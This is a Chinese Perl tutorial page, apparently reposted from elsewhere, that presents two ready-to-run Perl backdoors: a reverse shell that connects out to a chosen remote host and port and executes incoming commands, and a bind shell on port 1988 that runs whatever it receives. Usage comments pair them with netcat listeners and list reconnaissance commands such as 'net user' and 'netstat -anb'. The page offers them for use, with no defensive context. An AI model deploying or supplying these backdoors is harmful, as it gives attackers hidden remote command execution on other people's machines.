当前位置: 首页 > 图文教程 > 脚本技术 > Perl > perl后门,正向和反向!实例代码

Perl
不错的一篇学习CGI脚本(脚本)
详细说明什么是Perl
perl简单变量 整型 浮点数 字符串
perl操作符详细说明
perl 列表和数组变量详解
perl 文件读写详细说明
perl 模式匹配参数详解
perl 控制结构 条件控制 if while
perl 子程序 sub
Shell编程的一些知识集合
perl 学习资料整理篇
PERL脚本 学习笔记

Perl 中的 perl后门,正向和反向!实例代码


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-11   浏览: 165 ::
收藏到网摘: n/a

by 小杰 都是使用nc监听 反向连接代码:
1. #!/usr/bin/perl
2. #usage:
3. #nc -vv -l -p PORT(default 1988) on your local system first,then
4. #Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988)
5. #Type 'exit' to exit or press Enter to gain shell when u under the 'console'.
6. #nc -vv -l -p 1988
7. #perl backdoor.pl 127.0.0.1 1988
8.
9. #use strict;
10. use Socket;
11. use IO::Socket;
12. use Cwd;
13. use IO::Handle;
14. my $remote = $ARGV[0]|| "127.0.0.1";
15. my $remote_port = $ARGV[1]|| 1988;
16. my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote));
17. my $path = cwd();
18. $ARGC = @ARGV;
19. if ($ARGV[0]!~/-/)
20. {
21. socket(SOCKET, PF_INET, SOCK_STREAM,getprotobyname('tcp')) or die "socket error: ";
22. STDOUT->autoflush(1);
23. SOCKET->autoflush(1);
24. $conn=connect(SOCKET,$pack_addr)||die "connection error : $!";
25. open STDIN,">&SOCKET";
26. open STDOUT,">&SOCKET";
27. open STDERR,">&SOCKET";
28. print "You are in $path\n";
29. print "Welcome to use.\n";
30. print "console>\n";
31.
32. while (<STDIN>) {
33. chomp;
34. if( lc($_) eq 'exit' ) {
35. print " Bye Bye!";
36. exit;
37. }
38. $msg=system($_);
39. if($msg){
40. print STDOUT "\n$msg\n";
41. print STDOUT "console>";
42. }else
43. {
44. print "console>";
45. }
46. }
47. close SOCKET;
48. exit;
49. }
正向连接代码:
1. #!/usr/bin/perl
2. #ActivePerl 5.8.8 Build 822
3. #usage:
4. #first:perl backdoor2c.pl
5. #second:nc -vv 127.0.0.1 1988
6. #net user
7. #ipconfig /all
8. #netstat -anb
9. use IO::Socket;
10. $port = "1988";
11. my $socket = new IO::Socket::INET ( 'Localhost'=>'127.0.0.1' ,
12. 'LocalPort'=>$port ,
13. 'Listen'=>1 ,
14. 'Proto'=>'tcp' ,
15. 'Reuse'=>1 );
16. die "Reason: $!" unless $socket;
17. while (my $new_socket = $socket->accept()) {
18. while (my $buffer=<$new_socket> ){
19. if ($buffer=~/exit/) {exit;}
20. $res_msg=`$buffer`;
21. print $new_socket "$res_msg\ncmd>";
22. }}